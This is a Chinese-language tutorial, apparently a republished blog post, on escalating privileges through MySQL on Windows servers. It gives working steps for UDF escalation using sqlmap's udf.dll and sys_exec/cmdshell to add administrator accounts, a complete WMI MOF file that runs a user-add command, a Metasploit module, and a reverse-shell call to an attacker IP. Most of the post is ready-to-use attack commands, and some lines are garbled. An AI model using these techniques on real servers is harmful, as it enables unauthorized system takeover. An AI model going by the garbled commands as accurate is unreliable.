mysql两种提权⽅式
mysql下载32位mysql两种提权⽅式
Mysql_UDF提权
提权要求
1.⽬标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本⼤于5.1,udf.dll⽂件必须放置在mysql安装⽬录的lib\plugin⽂件夹下
注:
该⽬录默认是不存在的,这就需要我们使⽤webshell到MYSQL的安装⽬录,并在安装⽬录下创建lib\plugin⽂件夹,然后将udf.dll⽂件导出到该⽬录即可。
3.如果mysql版本⼩于5.1, udf.dll⽂件在windows server 2003下放置于c:\windows\system32⽬录,在windows server 2000下放置在c:\winnt\system32⽬录。
4.掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
5.拥有可以将udf.dll写⼊相应⽬录的权限。⼀般都是root
可以在mysql⾥输⼊
select @@basedir show variables like ‘%plugins%’
寻mysql安装路径
提权⽅法
使⽤SQL语句创建功能函数
语法:
Create Function 函数名 ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
udf.dll这个东西对于⼩⽩来说是不容易到的(譬如我),后来才知道sqlmap⾥是有udf.dll⽂件的,就在sqlmap/udf/mysql/windows ⽬录下,⾥⾯有32位和64位,注意:这⾥的位数是mysql的位数,并不是对⽅系统的位数。
如果你遇到了如图的错误:
那么⼀定要检查⼀下是不是位数搞错了,反正我是因为这个错误。
还有⼀个需要注意的是,sqlmap⾥的udf.dll是通过异或编码的,使⽤之前⼀定要记得解码,解码的⼯具也在sqlmap中,
在sqlmap/extra/cloak⽬录下的cloak.py就是。
解密之后会在当前⽬录下⽣成dll⽂件。
将dll⽂件复制到mysql的/lib/plugin⽬录下,执⾏
结果报错了
那么这⾥需要注意的是,需要创建udf中存在的函数才可以,可以⽤⼗六进制编辑器打开udf.dll,看⼀下有哪些函数可以创建
⼤概就是这些了,我们可以使⽤sys_exec函数
成功,然后试验⼀下:
select sys_exec('calc');
弹出计算器
Mysql mof提权
提权要求
1.该漏洞的利⽤前提条件要先到⼀个可写⽬录,然后上传mof⽂件
⽐如⽂章这⾥的 C:\RECYCLER
2.当前权限可以复制⽂件到%SystemRoot%\System32\Wbem\MOF⽬录下
提权⽅法
⼀般⽅式
1.⽣成f⽂件
将以下代码保存为f⽂件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace ="Root\\Cimv2";
Name ="filtP2";
Query ="Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage ="WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name ="consPCSV2";
ScriptingEngine ="JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\" user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
2.通过Mysql查询将⽂件导⼊
执⾏以下查询语句,将上⾯⽣成的f导⼊到c:\windows\system32\wbem\mof\⽬录下,在windows7中默认是拒绝访问的。 select load_file('C:\\RECYCLER\\f') into dumpfile 'c:/windows/system32/wbem/f';
注:导⼊后系统会⾃动运⾏该⽂件,执⾏添加⽤户的命令。
3.查看执⾏结果
admin/admin 账号就已添加成功,可测试登录或者查询
4.权限提升
然后需要修改添加⽤户命令为将⽤户添加到管理员组
< localgroup administrators admin/add
改⼀下mof⽂件中的命令,再次上传并查询⼀次,就成功了。
msf⾃带提权模块
use exploit/windows/mysql/mysql_mof
set ⽤户名 密码 ip (数据库允许所有主机登录才⾏)
Mysql反弹端⼝连接提权
假如我们扫到了⼀个mysql的root弱密码,并且可以外连,但是服务器上⾯的⽹站⼜⽆法Getshell,这时我们怎么办呢?
1、利⽤mysql客户端⼯具连接mysql服务器,然后执⾏下⾯的操作。 -h 172.16.10.11 -uroot -p
2 Enter password:
3 mysql> . c:\
4 mysql>select backshell(“YourIP”,2010);
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论